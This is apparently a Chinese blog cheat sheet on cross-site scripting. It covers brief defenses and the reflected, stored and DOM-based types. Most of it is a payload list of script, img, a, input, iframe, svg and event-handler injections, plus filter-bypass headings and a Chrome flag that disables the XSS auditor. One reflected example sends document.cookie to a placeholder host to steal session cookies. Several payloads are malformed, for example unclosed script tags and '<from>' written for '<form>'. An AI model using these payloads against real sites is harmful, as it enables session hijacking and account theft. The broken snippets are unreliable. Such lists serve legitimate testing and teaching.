XSS(Cross Site Scripting)攻击全称跨站脚本攻击,XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中.
XSS原理
攻击者通过将代码注入被攻击者的网站中,用户一旦访问访问网页便会执行被注入的恶意脚本。
XSS防范
- 代码里对用户输入的地方和变量都需要仔细检查长度和对”<”,”>”,”;”,”’”等字符做过滤;
- 避免直接在Cookie 中泄露用户隐私,例如email、密码等;并为Cookie添加HTTPOnly
- 变量输出到HTML时进行编码或转义
- 处理富文本(通过白名单,限制事件和标签的使用)
反射型:
反射型,又称非持久型,攻击具有一次性.
攻击方式:
通过邮件等形式将包含XSS代码的链接发送给正常用户,用户点击时,服务器接受请求并处理,然后把带有XSS的代码发送给用户,浏览器解析执行代码,触发XSS.
攻击示例:
盗取Cookie:
将恶意链接拼接到URL中,如:
http://172.0.0.1/Register.aspx?Company=<script>document.location=http://ip/cookie.php?cookie="+document.cookie"</script>
在链接被点击的时候加载<script>并将Cookie发送到指定位置
存储型:
存储型,又称持久型,攻击脚本存储在目标数据库中,具有更强的隐蔽性.
攻击方式:
通过在论坛,留言板等发帖留言的过程中嵌入XSS攻击代码,被目标服务器存储在数据库中,当用户正常访问时,触发XSS代码.
DOM型:
使用DOM动态访问更新文档的内容,结构以及样式,属于反射型XSS的一种
攻击方式:
通过在URL拼接带有恶意代码的链接,使其插入到页面的HTML中.当用户点击这个链接,服务器返回包含上面脚本的HTML静态文本,用户浏览器把HTML文本解析成DOM,DOM中的
document对象URL属性的值就是当前页而的URL.在脚本被解析时,这个URL属性值的一部分被写入HTML文本,而这部分HTML文本却是JavaScript脚本,这使得成为页面最终显示的HTML文本,从而导致XSS攻击发生
如:
< http://172.0.0.1/Register.aspx?Company=1XSS%20is%20vulerable!!!!!!!!!!!! >
会在页面company中插入<1XSS%20is%20vulerable!!!!!!!!!!!! >
XSS检测:
构造一个独一无二且不会被识别为恶意代码的字符串用来提交到页面使用浏览器审查工具来进行审查,看构造的字符串是否在页面中显示
构造Payload
<script>alert(document.domain);<script>
尝试闭合文本标签
"</b><script>alert(document.domain);<script>
尝试闭合属性
"><script>alert(document.domain);<script>
属性中XSS引入事件
"onmouseover=alert(document.domain)>
隐藏表单中构造XSS
"><svg onload=alert(document.domain)>%0a
JavaScript伪协议(用于<a href=" ">标签)
javascript:alert(document.domain)
Chrome关闭XSS-Auditor
- 使用CMD命令,在安装目录输入
--args --disable-xss-auditor
XSS绕过:
双写绕过:
空格绕过:
编码绕过:
利用事件绕过输入长度限制
如,绕过长度为20字节限制
<input type=text value="" onclick=alert(1)//"/>
XSS payload:
# 标准语句
<script>alert(/XSS/)</script>
# 尝试大小写
<sCript>alert(/XSS/)</scRipt>
# 使用<img>标签
<img src="x" onerror=alert(1)>
<img src="1" onerror=eval("alert(/XSS/)")
<img src="x" onmouseover="alert(/XSS/)">
<img src="1" onmouseout="alert(/XSS/)">
# 使用<a>标签
<a href="https://www.qq.com">qq</a>
<a href="javascript:alert(/XSS/)">test</a>
<a href="javascript:a" onmouseover="alert(/XSS/)">aa</a>
<a href="" onclick=alert(/XSS/)>a</a>
<a href="" onclick=eval(alert(/XSS/))>aa</a>
<a href=kycg.asp?ttt=1000 onmouseover=prompt(/XSS/) y=2016>aa</a>
# 使用<input>标签
<input name="name" value="">
<input value="" onclick=alert(/XSS/) type="text">
<input name="name" value="" onmouseover=prompt(/XSS/) bad="">
<input name="name" value=""><script>alert(/XSS/)</script>
<input type="text" onkeydown="alert(/XSS/)">
<input type="text" onkeypress="alert(/XSS/)">
<input type="text" onkeyup="alert(/XSS/)"
# 使用<from>标签
<from action=javascript:alert(/XSS/) method="get"><from action=javascript:alert(/XSS/)>
<from method=post action=aa.asp?onmouseover=prompt(/XSS/)><from method=post action=aa.asp?on<>mouseover=alert(/XSS/)
<from action=1 onmouseover=alert(/XSS/)>
#使用<iframe>标签
<iframe src=javascript:alert(/XSS/)></iframe>
# 使用<svg>标签
<svg onload=alert(/XSS/)>
# 使用<body>标签
<body onload="alert(/XSS/)">
# 使用<button>标签
<button onclick="alert(/XSS/)">XSS</button>
# 使用<p>标签
<p onmousedown="alert(/XSS/)">XSS</p>
<p onmouseup="alert(/XSS/)"XSS</p>
浙公网安备 33010602011771号